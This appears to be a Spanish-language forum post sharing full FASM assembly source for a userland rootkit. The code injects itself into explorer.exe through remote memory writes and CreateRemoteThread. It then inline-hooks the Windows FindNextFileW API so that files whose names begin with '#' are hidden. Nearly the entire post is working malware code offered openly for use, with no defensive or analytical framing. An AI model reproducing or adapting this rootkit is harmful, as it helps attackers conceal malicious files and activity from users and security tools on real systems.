Código: Seleccionar todo

;-------------------------------------------------------------------------------------------------
; RootKit por Hacker_Zero & YST
; RootKit sin dll que Hookea FindNextFileW en explorer ocultando los archivos que
;comiencen por '#'
;-------------------------------------------------------------------------------------------------

include 'C:\fasm\include\win32ax.inc'

.code
proc start
    locals
        ProcessName             db                              "explorer.exe",0
    endl

    stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
    cmp eax,-1
    jne salir

    invoke MessageBoxA,0,"No se encontró el proceso!",0,0

    salir:
    invoke ExitProcess,0
endp

proc Inyectar,ProcessName,Tamaño,Funcion,Datos
    locals
        struct PROCESSENTRY32
            dwSize                  dd ?
            cntUsage                dd ?
            th32ProcessID           dd ?
            th32DefaultHeapID       dd ?
            th32ModuleID            dd ?
            cntThreads              dd ?
            th32ParentProcessID     dd ?
            pcPriClassBase          dd ?
            dwFlags                 dd ?
            szExeFile               rb MAX_PATH
        ends

        pInfo                   PROCESSENTRY32                  ?
        Handle                  dd                              ?
        PID                     dd                              ?
        DirFuncion              dd                              ?
        hProcess                dd                              ?
    endl

    pushad

    ;Obtenemos el PID del proceso
    invoke CreateToolhelp32Snapshot,0x00000002,0
    mov [Handle],eax

     mov eax,sizeof.PROCESSENTRY32
     mov [pInfo.dwSize], eax

    BuclePid:
        invoke Process32Next,[Handle],addr pInfo
        cmp eax,0
        je FinProcBuclePID ;No hay más procesos
        invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
        cmp eax,0
        jne BuclePid
        jmp FinBuclePid

    FinProcBuclePID:
    invoke CloseHandle,[Handle]
    popad
    mov eax,-1
    ret

    FinBuclePid:
    invoke CloseHandle,[Handle]
    push [pInfo.th32ProcessID]
    pop [PID]

    ;Lazamos el proceso
    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
    mov [hProcess],eax

    ;Reservamos espacio en el proceso
    invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [DirFuncion],eax

    ;Escribimos los datos en memoria
    invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0

    ;Creamos el hilo
    invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
    popad
    mov eax,1
    ret
endp

proc FuncionInyectada,pGetProcAddress

     locals
         BaseKernel32                   dd               ?
         OriginalProtection             dd               ?
     endl

     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
     xor  eax, eax
     add  eax,[fs:eax+30h]
     mov  eax, [eax + 0ch]
     mov  esi, [eax + 1ch]
     lodsd
     mov  eax, [eax + 08h]
     mov [BaseKernel32],eax

     ;Obtenemos la dirección de FindNextFileA
     stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
     mov ebx,eax

     stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
     stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection

     ;Calculamos el delta offset
     call delta
     delta:
     pop edx
     sub edx,delta  ;edx=delta

     ;Lo guardamos en la pila
     push edx

     ;Guardamos la dirección de FindNextFileW en la variable dirFindNextFileW
     add edx,dirFindNextFileW
     mov dword[edx],ebx

     pop edx

     mov ecx,edx
     add ecx,ApiOriginal
     mov al,byte[ebx]
     mov byte[ecx],al
     mov byte[ebx],0xE9   ;0xE9=jmp
     inc ebx
     inc ecx

     mov eax,dword[ebx]
     mov dword[ecx],eax
     mov eax,FuncionHook
     add eax,edx
     sub eax,ebx
     sub eax,4
     mov dword[ebx],eax   ;la dirección a la que saltará

     add ebx,4
     add ecx,4

     mov ax,word[ebx]
     mov word[ecx],ax

     mov word[ebx],0x9090

     ret          ;Terminamos, ya hemos modificado el principio de la api,
                  ;cuando el programa llame a FindNextFileW, saltará a FuncionHook

;--------------------------------------------------------------------------------------------------------------------------------------------

     ;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a MessageBox+7
     ApiOriginal:
         ;edx=delta
         ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
         nop
         nop
         nop
         nop
         nop
         nop
         nop

         add edx,dirFindNextFileW  ;Obtenemos la dirección de FindNextFileW leyendo
         mov eax,dword[edx]      ;la variable dirFindNextFileW y la guardamos en eax
         add eax,7           ;Nos desplazamos 7 bytes
         jmp eax             ;Saltamos a FindNextFileW+7

;--------------------------------------------------------------------------------------------------------------------------------------------

     ;Función a la que salta el programa cuando se llama a la API hookeada
     proc FuncionHook,hFindFile,lpFindFileData
         Volver:
         ;Obtenemos el delta offset
         call delta2
         delta2:
         pop edx
         sub edx,delta2

         ;Llamamos a nuestro buffer
         push [lpFindFileData]
         push [hFindFile]
         mov ecx,edx
         add ecx,ApiOriginal
         call ecx
         cmp eax,0
         je Retornar

         mov ebx,[lpFindFileData]
         add ebx,44
         cmp byte[ebx],'#'
         jne Retornar

         jmp Volver

         Retornar:
         ret
    endp
;-------------------------------------------------------------------------------------------------------------------------------------------

         dirFindNextFileW                  dd                      ?
endp

FINFuncion:
.end start
[Enlace externo eliminado para invitados]

Saludos ;)
Responder

Volver a “Otros lenguajes”